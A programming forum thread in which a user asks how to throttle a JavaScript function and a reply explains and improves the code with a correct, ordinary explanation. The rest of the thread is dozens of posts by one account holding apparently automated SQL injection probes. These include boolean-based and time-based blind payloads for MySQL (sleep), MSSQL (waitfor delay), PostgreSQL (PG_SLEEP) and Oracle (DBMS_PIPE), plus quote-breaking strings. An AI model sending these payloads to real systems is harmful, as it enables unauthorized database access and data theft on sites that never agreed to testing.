Subham Mitra started this conversation 1 year ago.
How to Throttle a Function in JavaScript Without a Library?
I need to throttle a function to prevent it from being called too often. I’ve implemented my own version, but I’m not sure if it’s fully correct. Here’s my throttle function:
function throttle(func, delay) {
let inThrottle;
return function(...args) {
if (!inThrottle) {
func(...args);
inThrottle = true;
setTimeout(() => inThrottle = false, delay);
}
};
}
const handleScroll = throttle(() => console.log('Scroll event'), 1000);
window.addEventListener('scroll', handleScroll);
Shubham Chopra
Posted 1 year ago
Your implementation of a throttle function is correct and follows the basic principle of throttling, which ensures that a function is only invoked at most once within a specified time period. Let me walk through it and offer a couple of potential improvements.
Breakdown of Your Code:
function throttle(func, delay) {
let inThrottle;
return function(...args) {
if (!inThrottle) {
func(...args); // Call the function immediately
inThrottle = true; // Set the throttle flag
setTimeout(() => inThrottle = false, delay); // Reset the flag after the delay
}
};
}
-
Throttle Flag (
inThrottle):- This ensures that once the function is called, further calls are ignored until the
delayperiod has passed. - Once the
delayperiod elapses,inThrottleis set back tofalse, allowing the function to be called again.
- This ensures that once the function is called, further calls are ignored until the
-
setTimeout:- This acts as a timer that resets the throttle flag after the specified delay (
delay), ensuring that the function can be called again after the specified time interval.
- This acts as a timer that resets the throttle flag after the specified delay (
Potential Improvement:
Your solution is already solid, but there is a potential improvement for clarity and completeness:
-
Use
let inThrottle = false;initially to avoid the implicitundefinedstate. This makes it clear thatinThrottlestarts asfalse. -
Preserve context (
this): When throttling, it's important to ensure that the function retains the context (this) when called. You can use.apply()to ensure the correctthisvalue is passed.
Here’s an improved version:
function throttle(func, delay) {
let inThrottle = false; // Explicitly set throttle flag to false initially
return function(...args) {
if (!inThrottle) {
inThrottle = true; // Set throttle flag
func.apply(this, args); // Ensure the correct 'this' context and arguments
setTimeout(() => inThrottle = false, delay); // Reset throttle flag after delay
}
};
}
How It Works:
func.apply(this, args): Ensures the function is called with the same context (this) as the throttled version, which is important iffuncrelies on the correctthisvalue.
Now, the throttled function will work in all contexts and make sure that this is properly passed along with the arguments.
Usage Example:
const handleScroll = throttle(() => console.log('Scroll event'), 1000);
window.addEventListener('scroll', handleScroll);
Behavior:
- If the user scrolls multiple times within 1 second, the throttled function will only log
'Scroll event'once every second, no matter how many scroll events are triggered.
This ensures better performance, especially for events like scroll or resize that may fire frequently.
This version provides clearer, more predictable behavior, especially in situations where context (this) matters.
fnfOzvSR
Posted 1 year ago
555
fnfOzvSR
Posted 1 year ago
555
fnfOzvSR
Posted 1 year ago
555
fnfOzvSR
Posted 1 year ago
555
fnfOzvSR
Posted 1 year ago
555
fnfOzvSR
Posted 1 year ago
555
fnfOzvSR
Posted 1 year ago
-1 OR 2+131-131-1=0+0+0+1 --
fnfOzvSR
Posted 1 year ago
-1 OR 3+131-131-1=0+0+0+1 --
fnfOzvSR
Posted 1 year ago
-1 OR 2+667-667-1=0+0+0+1
fnfOzvSR
Posted 1 year ago
-1 OR 3+667-667-1=0+0+0+1
fnfOzvSR
Posted 1 year ago
-1' OR 2+929-929-1=0+0+0+1 --
fnfOzvSR
Posted 1 year ago
-1' OR 3+929-929-1=0+0+0+1 --
fnfOzvSR
Posted 1 year ago
-1' OR 2+839-839-1=0+0+0+1 or '2t6asXRB'='
fnfOzvSR
Posted 1 year ago
-1' OR 3+839-839-1=0+0+0+1 or '2t6asXRB'='
fnfOzvSR
Posted 1 year ago
-1" OR 2+726-726-1=0+0+0+1 --
fnfOzvSR
Posted 1 year ago
-1" OR 3+726-726-1=0+0+0+1 --
fnfOzvSR
Posted 1 year ago
555*if(now()=sysdate(),sleep(15),0)
fnfOzvSR
Posted 1 year ago
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
fnfOzvSR
Posted 1 year ago
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
fnfOzvSR
Posted 1 year ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
fnfOzvSR
Posted 1 year ago
555-1; waitfor delay '0:0:15' --
fnfOzvSR
Posted 1 year ago
555-1); waitfor delay '0:0:15' --
fnfOzvSR
Posted 1 year ago
555-1 waitfor delay '0:0:15' --
fnfOzvSR
Posted 1 year ago
555DpTZ5kEt'; waitfor delay '0:0:15' --
fnfOzvSR
Posted 1 year ago
555-1 OR 519=(SELECT 519 FROM PG_SLEEP(15))--
fnfOzvSR
Posted 1 year ago
555-1) OR 418=(SELECT 418 FROM PG_SLEEP(15))--
fnfOzvSR
Posted 1 year ago
555-1)) OR 756=(SELECT 756 FROM PG_SLEEP(15))--
fnfOzvSR
Posted 1 year ago
555C453be3D' OR 781=(SELECT 781 FROM PG_SLEEP(15))--
fnfOzvSR
Posted 1 year ago
5552N4yBuGS') OR 955=(SELECT 955 FROM PG_SLEEP(15))--
fnfOzvSR
Posted 1 year ago
55589TyO6n3')) OR 577=(SELECT 577 FROM PG_SLEEP(15))--
fnfOzvSR
Posted 1 year ago
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
fnfOzvSR
Posted 1 year ago
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
fnfOzvSR
Posted 1 year ago
555
fnfOzvSR
Posted 1 year ago
555'"
fnfOzvSR
Posted 1 year ago
@@NTFJO
fnfOzvSR
Posted 1 year ago
555